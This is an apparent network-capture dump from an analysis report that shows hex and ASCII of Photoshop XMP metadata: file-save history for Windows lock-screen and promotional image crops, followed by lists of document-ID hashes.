74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 
5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 38 35 34 35 39 37 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 7
6 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 32 36 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 74 74 
52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 
Data Ascii: d&#xA;2017-05-15T15:24:53-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MattRequest\LinkedIn\CHOSE
N\Crops\LinkedIn_GettyImages-138545975_1920x1080.jpg saved&#xA;2017-05-15T15:26:27-07:00&#x9;File C:\Users\v-l
izagh\MS\Windows10\MattRequest\LinkedIn\CHOSEN\

2022-06-08 07:56:16 UTC 2418 IN Data Raw: 69 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 64 76 38 34 33 30 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 
67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 39 3a 31 37 3a 32 35 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 
57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5c 52 53 33 2d 52 65 52 65 63 72 75 69 74 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 
73 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 2d 52 53 33 2d 52 65 52 65 63 72 75 69 74 5f 47 65 74 74 79 49 6d 61 6
7 65 73 2d 34 39 37 36 38 39 36 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 37 2d 30 36 2d 30 37 54 30 39 3a 32 31 3a 32 39 2d 30 37 3a 30 
Data Ascii: it_GettyImages-dv843016_1920x1080.jpg saved&#xA;2017-06-07T09:17:25-07:00&#x9;File C:\Users\v-liza
gh\MS\Windows10\WindowsInsider\RS3-ReRecruit\Chosen\Crops\WindowsInsider-RS3-ReRecruit_GettyImages-4
97689676_1920x1080.jpg saved&#xA;2017-06-07T09:21:29-07:0

2022-06-08 07:56:16 UTC 2505 IN Data Raw: 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 54 31 31 3a 34 32 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 
70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 54 31 31 3a 35 31 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 44 3a 5c 5f 57 69 6e 31 30 2d 53 50 4f 54 4c 49 47 48 54 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 
73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 
Data Ascii: x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-07-14T11:
42:53-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-07-14T11:51:02-07:00&#x9;File 
D:\_Win10-SPOTLIGHT\Templates\Lockscreen_1920x1080_Land

2022-06-08 07:56:16 UTC 2529 IN Data Raw: 67 65 73 2d 31 37 39 34 31 33 38 31 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 34 37 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 69 6e 6b 65 64 49 6e 5c 4
c 65 61 72 6e 69 6e 67 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 6e 67 5f 4
7 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 32 32 33 32 38 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 34 39 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 
Data Ascii: ges-179413812_1920x1080.jpg saved&#xA;2017-08-14T13:47:28-07:00&#x9;File C:\Users\v-lizagh\MS\Wind
ows10\LinkedIn\Learning\Chosen\Crops\LinkedIn-Learning_GettyImages-108223280_1920x1080.jpg saved&#xA;2017-
08-14T13:49:59-07:00&#x9;File C:\Users\v-lizagh\App
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2022-06-08 07:56:16 UTC 2656 IN Data Raw: 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 48 65 61 6c 74 68 79 4c 69 
66 65 73 74 79 6c 65 2d 4e 6f 74 65 62 6f 6f 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 5f 31 
39 32 30 78 31 30 38 30 45 43 30 32 34 37 32 45 33 31 45 45 31 41 46 37 41 35 30 42 46 45 43 45 43 30 34 41 32 33 37 
43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 37 3a 32 39 3a 32 36 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 
61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 31 34 
Data Ascii: oshop CC 2017\AutoRecover\_HealthyLifestyle-Notebook_GettyImages-531607773_1920x1080EC02
472E31EE1AF7A50BFECEC04A237C.psb saved&#xA;2017-08-29T17:29:26-07:00&#x9;File C:\Users\v-lizagh\MS\W
indows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-08-30T14

2022-06-08 07:56:16 UTC 2728 IN Data Raw: 5c 43 61 6e 61 64 61 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 2d 43 61 6e 61 
64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 37 36 36 31 38 30 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 37 54 31 30 3a 35 30 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5
c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4d 53 52 65 77 61 72 64 73 2d 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 33 35 30 38 3
5 34 5f 31 39 32 30 78 31 30 38 30 39 44 42 37 44 39 45 41 33 46 
Data Ascii: \Canada\_CHOSEN\Crops\MSRewards-Canada_GettyImages-497661808_1920x1080.jpg saved&#xA;2017-
10-17T10:50:45-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_M
SRewards-Canada_GettyImages-108350854_1920x10809DB7D9EA3F

2022-06-08 07:56:16 UTC 2792 IN Data Raw: 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 
5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 35 39 31 39 39 30 31 39 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 31 54 31 35 3a 31 33 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 6
2 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 
64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 47 65 74 74 79 49 6d 
Data Ascii:  C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN\Crops\Edge-Jharkhand_GettyImages-5
91990199_1920x1080.jpg saved&#xA;2017-11-21T15:13:13-08:00&#x9;File C:\Users\v-lizagh\AppData\Roamin
g\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_GettyIm

2022-06-08 07:56:16 UTC 2943 IN Data Raw: 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 32 3a 33 32 3a 32 39 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 57 69 6e 64 6f 77 73 5c 52 53 31 2d 53 65 72 76 69 63 69 6e 67 5c 52 41 57 53 5c 43 48 4f 53 45 4e 5c 57 69 6e 64 6f 
77 73 2d 52 53 31 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 33 36 31 38 34 34 5f 31 3
9 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 32 3a 33 33 
3a 32 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 52 53 31 2d 53 
Data Ascii: ened&#xA;2017-12-11T12:32:29-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\RS1-Servicing\R
AWS\CHOSEN\Windows-RS1Servicing_GettyImages-155361844_1920x1080.psd saved&#xA;2017-12-11T12:33:22-08
:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\RS1-S

2022-06-08 07:56:16 UTC 3014 IN Data Raw: 54 30 39 3a 32 35 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 31 34 
3a 32 34 3a 33 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 47 52 41 4d 4d 59 53 5c 32 30 31 
37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 47 72 61 6d 6d 79 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
35 37 38 30 37 32 34 33 30 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 
Data Ascii: T09:25:41-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#
xA;2018-01-17T14:24:35-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\GRAMMYS\2017\CHOS
EN\Crops\MIT-Grammys_GettyImages-578072430_1920x1080.psd 

2022-06-08 07:56:16 UTC 3094 IN Data Raw: 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 
67 65 5c 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 56 69 72 
67 69 6e 47 61 6c 61 63 74 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 31 36 32 33 32 35 31 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 33 54 31 33 3a 32 39 3a 35 35 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 
41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 
Data Ascii: le C:\Users\v-lizagh\MS\Windows10\Edge\VirginGalactic\CHOSEN\Crops\Edge-VirginGalactic_GettyImages-
171623251_1920x1080.jpg saved&#xA;2018-02-13T13:29:55-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\
Adobe Photoshop CC 2017\AutoRecover\_Lockscreen

2022-06-08 07:56:16 UTC 3325 IN Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 
63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 
37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 
32 2d 32 38 54 31 37 3a 35 32 3a 35 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 
65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 3
0 31 38 2d 30 33 2d 30 31 54 31 31 3a 33 34 3a 30 35 2d 30 38 3a 
Data Ascii:  Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2
F65935.psb saved&#xA;2018-02-28T17:52:52-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\L
ockscreen_1920x1080_Landscape.psd saved&#xA;2018-03-01T11:34:05-08:

2022-06-08 07:56:16 UTC 3366 IN Data Raw: 33 45 36 33 37 46 46 42 32 32 30 34 43 38 46 34 33 42 43 30 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 30 30 45 43 43 41 31 43 38 36 43 37 35 35 34 32 45 42 33 36 41 46 46 36 44 44 37 43 31 38 31 42 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 46 36 32 41 42 44 43 43 44 43 45 33 35 43 44 42 44 36 41 33 38 44 
45 34 34 32 37 37 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 46 42 43 31 37 34 42 34 42 44 37 4
1 30 37 30 32 45 33 45 43 30 42 35 31 35 43 33 33 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 30 
34 33 35 35 39 44 33 30 42 45 43 41 43 43 45 30 30 33 34 45 44 33 31 41 42 42 39 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 30 31 30 43 35 37 36 38 42 33 35 38 30 43 38 
Data Ascii: 3E637FFB2204C8F43BC058</rdf:li> <rdf:li>00ECCA1C86C75542EB36AFF6DD7C181B</rdf:li> <rdf:l
i>00F62ABDCCDCE35CDBD6A38DE44277A2</rdf:li> <rdf:li>00FBC174B4BD7A0702E3EC0B515C333F</rdf:li> <rdf:l
i>01043559D30BECACCE0034ED31ABB966</rdf:li> <rdf:li>010C5768B3580C8
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2022-06-08 07:56:16 UTC 3480 IN Data Raw: 64 66 3a 6c 69 3e 30 43 43 46 33 34 46 39 46 34 37 38 39 32 34 43 33 31 41 32 36 43 46 30 31 46 35 43 36 
36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 43 46 38 41 31 34 39 30 43 33 30 45 33 42 32 43 
36 34 38 38 35 46 34 38 46 33 32 38 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 39 35 33 44 3
4 37 41 32 34 30 34 46 38 38 42 37 31 31 33 41 46 30 44 34 32 30 46 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 30 43 45 42 35 33 33 44 46 36 37 39 34 38 31 33 43 30 46 44 39 30 34 34 34 38 38 31 38 42 45 46 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 43 30 38 33 43 36 46 34 45 41 33 42 44 46 38 43 39 30 38 34 32 39 
39 37 43 30 36 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>0CCF34F9F478924C31A26CF01F5C660B</rdf:li> <rdf:li>0CCF8A1490C30E3B2C64885F48F32825
</rdf:li> <rdf:li>0CE953D47A2404F88B7113AF0D420F36</rdf:li> <rdf:li>0CEB533DF6794813C0FD904448818BEF
</rdf:li> <rdf:li>0CEC083C6F4EA3BDF8C90842997C0644</rdf:li> <rdf:li

2022-06-08 07:56:16 UTC 3604 IN Data Raw: 3a 6c 69 3e 31 32 33 46 39 31 46 38 44 39 37 35 41 43 39 42 34 34 34 31 38 32 38 31 34 38 35 35 45 30 45 
39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 34 36 38 36 43 37 42 46 46 45 36 39 46 44 46 37 33 45 
43 37 41 41 45 41 32 43 34 34 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 34 37 34 39 34 34 35 3
4 31 37 32 35 45 44 34 31 36 42 42 37 36 34 36 45 35 43 35 45 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 31 32 35 33 38 46 39 30 42 35 42 39 37 37 30 31 38 37 35 45 44 34 37 31 31 30 44 31 42 38 42 35 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 35 35 36 38 46 31 45 33 32 45 30 37 46 35 34 37 33 36 32 34 41 32 33 46 42 
41 32 42 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
Data Ascii: :li>123F91F8D975AC9B444182814855E0E9</rdf:li> <rdf:li>124686C7BFFE69FDF73EC7AAEA2C4448</
rdf:li> <rdf:li>12474944541725ED416BB7646E5C5EB1</rdf:li> <rdf:li>12538F90B5B97701875ED47110D1B8B5</rdf:li> 
<rdf:li>125568F1E32E07F5473624A23FBA2BB1</rdf:li> <rdf:li>1

2022-06-08 07:56:16 UTC 3714 IN Data Raw: 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 32 35 35 35 44 33 39 44 46 31 37 36 34 44 
46 46 44 41 37 38 37 41 37 46 37 31 44 44 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 32 41 45 
30 35 46 42 33 35 38 41 30 43 38 36 45 41 32 44 45 32 39 37 45 41 44 33 45 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 31 46 34 38 45 39 34 43 39 33 33 34 30 32 37 30 46 33 34 31 46 32 43 36 37 36 33 42 41 31 41 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 35 31 44 36 37 41 32 45 42 30 35 33 42 30 31 32 39 35 46 43 
41 34 43 37 32 34 41 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 35 36 30 41 34 45 33 37 34 
36 38 36 41 36 35 43 37 43 33 33 37 34 33 41 32 42 44 46 34 37 3c 2f 72 
Data Ascii: 69</rdf:li> <rdf:li>1F2555D39DF1764DFFDA787A7F71DDC1</rdf:li> <rdf:li>1F2AE05FB358A0C86E
A2DE297EAD3ED9</rdf:li> <rdf:li>1F48E94C93340270F341F2C6763BA1A6</rdf:li> <rdf:li>1F51D67A2EB053B012
95FCA4C724AAB0</rdf:li> <rdf:li>1F560A4E374686A65C7C33743A2BDF47</r

2022-06-08 07:56:16 UTC 3794 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 37 32 37 35 46 33 46 45 31 36 32 45 45 44 38 33 42 31 
32 42 46 34 43 36 44 45 43 32 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 37 35 37 35 39 35 44 
45 42 35 42 33 33 43 37 31 32 46 46 44 35 42 43 35 37 44 31 38 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 32 41 37 35 39 43 39 41 34 45 36 42 36 46 41 43 41 46 39 44 46 38 44 34 31 42 44 42 36 35 41 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 37 41 32 36 44 41 36 34 37 39 33 44 35 42 43 34 33 43 45 33 34 43 36 33 
43 39 46 43 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 37 46 32 41 35 39 43 46 35 42 36 33 43 
36 39 45 41 44 31 33 39 34 46 45 42 35 32 30 46 37 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>2A7275F3FE162EED83B12BF4C6DEC287</rdf:li> <rdf:li>2A757595DEB5B33C712FFD5
BC57D18DF</rdf:li> <rdf:li>2A759C9A4E6B6FACAF9DF8D41BDB65AE</rdf:li> <rdf:li>2A7A26DA64793D5BC43CE34
C63C9FC36</rdf:li> <rdf:li>2A7F2A59CF5B63C69EAD1394FEB520F7</rdf:li

2022-06-08 07:56:16 UTC 4016 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 44 36 32 46 43 36 41 45 34 38 32 38 44 42 43 33 32 32 39 
39 42 33 35 34 35 32 33 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 46 39 38 37 34 42 36 46 
39 42 43 35 39 31 33 45 37 31 30 35 43 31 39 37 38 46 44 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 3
2 46 43 35 34 33 46 38 41 42 41 45 37 44 37 37 31 36 42 33 31 42 35 34 31 44 45 32 30 35 39 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 32 46 44 36 39 43 33 32 39 32 44 43 32 34 33 43 37 36 33 30 42 45 34 32 33 37 45 35 46 
34 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 44 45 38 45 30 37 46 45 42 44 37 31 36 39 44 37 
45 32 38 46 46 43 39 30 44 42 36 41 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>2FBD62FC6AE4828DBC32299B3545236E</rdf:li> <rdf:li>2FBF9874B6F9BC5913E7105C1
978FDB3</rdf:li> <rdf:li>2FC543F8ABAE7D7716B31B541DE20590</rdf:li> <rdf:li>2FD69C3292DC243C7630BE423
7E5F432</rdf:li> <rdf:li>2FDE8E07FEBD7169D7E28FFC90DB6A15</rdf:li> 

2022-06-08 07:56:16 UTC 4056 IN Data Raw: 46 46 36 37 42 38 32 44 45 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 33 43 39 34 30 
35 41 41 43 46 45 32 45 42 44 35 30 45 37 37 41 33 46 38 34 35 32 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 33 43 33 44 34 45 41 42 46 34 41 30 45 37 34 36 32 34 41 32 35 44 41 33 43 34 34 45 34 41 30 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 34 45 44 32 43 33 38 33 37 31 32 37 31 33 31 41 42 34 39 42 41 46 
38 37 37 46 30 39 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 35 35 38 39 43 45 43 42 35 36 45 
32 46 34 35 31 46 31 30 35 43 43 31 39 43 46 31 32 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 
35 38 32 45 45 42 38 44 32 37 35 41 44 31 44 39 43 44 43 34 37 44 31 44 
Data Ascii: FF67B82DEA7</rdf:li> <rdf:li>3C3C9405AACFE2EBD50E77A3F84529AC</rdf:li> <rdf:li>3C3D4EABF
4A0E74624A25DA3C44E4A00</rdf:li> <rdf:li>3C4ED2C3837127131AB49BAF877F09F4</rdf:li> <rdf:li>3C5589CEC
B56E2F451F105CC19CF12D5</rdf:li> <rdf:li>3C582EEB8D275AD1D9CDC47D1D

2022-06-08 07:56:16 UTC 4184 IN Data Raw: 44 42 33 43 34 34 42 44 43 31 35 35 43 43 36 31 36 37 30 44 37 44 36 43 37 36 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 34 37 45 46 38 33 41 39 38 45 32 33 45 36 30 38 39 43 46 41 45 45 32 42 31 34 42 32 33 35 
38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 46 30 36 43 43 44 45 46 31 33 32 45 46 35 42 34 39 
37 37 33 43 34 32 42 37 46 43 37 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 46 45 35 33 46 31 3
9 36 33 34 41 35 36 37 44 43 43 34 37 35 43 43 34 46 38 38 36 45 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 34 38 30 42 36 38 39 33 30 31 37 42 35 31 38 32 44 35 33 43 43 43 34 41 35 36 46 44 39 34 32 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 30 42 42 41 37 32 32 33 
Data Ascii: DB3C44BDC155CC61670D7D6C76B</rdf:li> <rdf:li>47EF83A98E23E6089CFAEE2B14B23580</rdf:li> <
rdf:li>47F06CCDEF132EF5B49773C42B7FC794</rdf:li> <rdf:li>47FE53F19634A567DCC475CC4F886EBC</rdf:li> <
rdf:li>480B6893017B5182D53CCC4A56FD9427</rdf:li> <rdf:li>480BBA7223

2022-06-08 07:56:16 UTC 4215 IN Data Raw: 39 34 36 30 30 35 46 41 45 38 33 43 30 37 39 36 30 37 31 43 43 46 42 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 34 44 43 31 37 32 33 41 37 34 31 46 36 43 45 36 34 39 46 35 41 33 34 45 32 34 30 35 31 41 39 45 
